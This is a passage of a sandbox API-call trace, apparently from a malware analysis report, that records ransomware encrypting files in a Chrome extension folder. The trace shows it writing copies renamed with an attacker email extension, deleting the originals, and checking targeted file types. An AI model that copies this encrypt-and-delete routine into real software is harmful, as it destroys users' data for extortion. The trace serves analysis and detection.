lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xfc, lpOverlapped=0x0) returned 1 [0178.567] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x100, lpOverlapped=0x0) returned 1 [0178.568] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0178.568] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x114, lpOverlapped=0x0) returned 1 [0178.568] SetEndOfFile (hFile=0x19c) returned 1 [0178.568] CloseHandle (hObject=0x19c) returned 1 [0178.568] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.568] SetEndOfFile (hFile=0x1b4) returned 1 [0178.569] CloseHandle (hObject=0x1b4) returned 1 [0178.569] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.569] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png")) returned 1 [0178.570] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png") returned 169 [0178.570] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png") returned 169 [0178.570] lstrlenW (lpString=".doc") returned 4 [0178.570] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0178.570] lstrlenW (lpString=".docx") returned 5 [0178.570] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0178.570] lstrlenW (lpString=".pdf") returned 4 [0178.570] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0178.570] lstrlenW (lpString=".xls") returned 4 [0178.570] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0178.570] lstrlenW (lpString=".xlsx") returned 5 [0178.570] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0178.570] lstrlenW (lpString=".ppt") returned 4 [0178.570] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0178.570] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png") returned 169 [0178.570] lstrlenW (lpString=".zip") returned 4 [0178.570] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0178.570] lstrlenW (lpString=".rar") returned 4 [0178.570] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0178.570] lstrlenW (lpString=".bz2") returned 4 [0178.570] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0178.570] lstrlenW (lpString=".7z") returned 3 [0178.570] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0178.570] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png") returned 169 [0178.570] lstrlenW (lpString=".dbf") returned 4 [0178.570] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0178.571] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png") returned 169 [0178.571] lstrlenW (lpString=".1cd") returned 4 [0178.571] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0178.571] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png") returned 169 [0178.571] lstrlenW (lpString=".jpg") returned 4 [0178.571] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0178.571] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png") returned 169 [0178.571] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png") returned 169 [0178.571] lstrlenW (lpString=".doc") returned 4 [0178.571] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0178.571] lstrlenW (lpString=".docx") returned 5 [0178.571] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0178.571] lstrlenW (lpString=".pdf") returned 4 [0178.571] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0178.571] lstrlenW (lpString=".xls") returned 4 [0178.571] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0178.571] lstrlenW (lpString=".xlsx") returned 5 [0178.571] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0178.571] lstrlenW (lpString=".ppt") returned 4 [0178.571] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0178.571] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png") returned 169 [0178.571] lstrlenW (lpString=".zip") returned 4 [0178.571] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0178.571] lstrlenW (lpString=".rar") returned 4 [0178.571] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0178.571] lstrlenW (lpString=".bz2") returned 4 [0178.571] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0178.571] lstrlenW (lpString=".7z") returned 3 [0178.572] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0178.572] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png") returned 169 [0178.572] lstrlenW (lpString=".dbf") returned 4 [0178.572] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0178.572] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png") returned 169 [0178.572] lstrlenW (lpString=".1cd") returned 4 [0178.572] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0178.572] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png") returned 169 [0178.572] lstrlenW (lpString=".jpg") returned 4 [0178.572] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0178.572] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.572] lstrlenW (lpString="messages.json") returned 13 [0178.572] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0178.573] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=701) returned 1 [0178.573] CloseHandle (hObject=0x1b4) returned 1 [0178.573] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json")) returned 0x2020 [0178.573] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.573] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0178.573] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.573] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.573] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.574] GetLastError () returned 0x0 [0178.574] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x2bd, lpOverlapped=0x0) returned 1 [0178.575] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x2c0, lpOverlapped=0x0) returned 1 [0178.576] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0178.576] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0178.576] SetEndOfFile (hFile=0x19c) returned 1 [0178.576] CloseHandle (hObject=0x19c) returned 1 [0178.577] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.577] SetEndOfFile (hFile=0x1b4) returned 1 [0178.577] CloseHandle (hObject=0x1b4) returned 1 [0178.577] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.578] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json")) returned 1 [0178.578] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json") returned 155 [0178.578] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json") returned 155 [0178.578] lstrlenW (lpString=".doc") returned 4 [0178.578] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.578] lstrlenW (lpString=".docx") returned 5 [0178.578] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.578] lstrlenW (lpString=".pdf") returned 4 [0178.578] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.578] lstrlenW (lpString=".xls") returned 4 [0178.579] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.579] lstrlenW (lpString=".xlsx") returned 5 [0178.579] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.579] lstrlenW (lpString=".ppt") returned 4 [0178.579] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.579] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json") returned 155 [0178.579] lstrlenW (lpString=".zip") returned 4 [0178.579] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.579] lstrlenW (lpString=".rar") returned 4 [0178.579] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.579] lstrlenW (lpString=".bz2") returned 4 [0178.579] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.579] lstrlenW (lpString=".7z") returned 3 [0178.579] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.579] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json") returned 155 [0178.579] lstrlenW (lpString=".dbf") returned 4 [0178.579] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.579] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json") returned 155 [0178.579] lstrlenW (lpString=".1cd") returned 4 [0178.579] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.579] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json") returned 155 [0178.579] lstrlenW (lpString=".jpg") returned 4 [0178.579] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.579] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json") returned 155 [0178.579] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json") returned 155 [0178.579] lstrlenW (lpString=".doc") returned 4 [0178.579] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.580] lstrlenW (lpString=".docx") returned 5 [0178.580] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.580] lstrlenW (lpString=".pdf") returned 4 [0178.580] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.580] lstrlenW (lpString=".xls") returned 4 [0178.580] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.580] lstrlenW (lpString=".xlsx") returned 5 [0178.580] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.580] lstrlenW (lpString=".ppt") returned 4 [0178.580] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.580] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json") returned 155 [0178.580] lstrlenW (lpString=".zip") returned 4 [0178.580] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.580] lstrlenW (lpString=".rar") returned 4 [0178.580] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.580] lstrlenW (lpString=".bz2") returned 4 [0178.580] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.580] lstrlenW (lpString=".7z") returned 3 [0178.580] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.580] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json") returned 155 [0178.580] lstrlenW (lpString=".dbf") returned 4 [0178.580] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.580] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json") returned 155 [0178.580] lstrlenW (lpString=".1cd") returned 4 [0178.580] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.580] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json") returned 155 [0178.580] lstrlenW (lpString=".jpg") returned 4 [0178.580] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.581] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.581] lstrlenW (lpString="messages.json") returned 13 [0178.581] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0178.581] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=875) returned 1 [0178.581] CloseHandle (hObject=0x1b4) returned 1 [0178.581] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json")) returned 0x2020 [0178.581] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.581] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0178.582] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.582] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.582] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.582] GetLastError () returned 0x0 [0178.582] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x36b, lpOverlapped=0x0) returned 1 [0178.584] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x370, lpOverlapped=0x0) returned 1 [0178.585] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0178.585] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0178.585] SetEndOfFile (hFile=0x19c) returned 1 [0178.585] CloseHandle (hObject=0x19c) returned 1 [0178.585] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.585] SetEndOfFile (hFile=0x1b4) returned 1 [0178.586] CloseHandle (hObject=0x1b4) returned 1 [0178.586] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.586] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json")) returned 1 [0178.586] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json") returned 155 [0178.586] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json") returned 155 [0178.586] lstrlenW (lpString=".doc") returned 4 [0178.586] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.586] lstrlenW (lpString=".docx") returned 5 [0178.586] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.586] lstrlenW (lpString=".pdf") returned 4 [0178.586] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.586] lstrlenW (lpString=".xls") returned 4 [0178.587] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.587] lstrlenW (lpString=".xlsx") returned 5 [0178.587] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.587] lstrlenW (lpString=".ppt") returned 4 [0178.587] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.587] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json") returned 155 [0178.587] lstrlenW (lpString=".zip") returned 4 [0178.587] 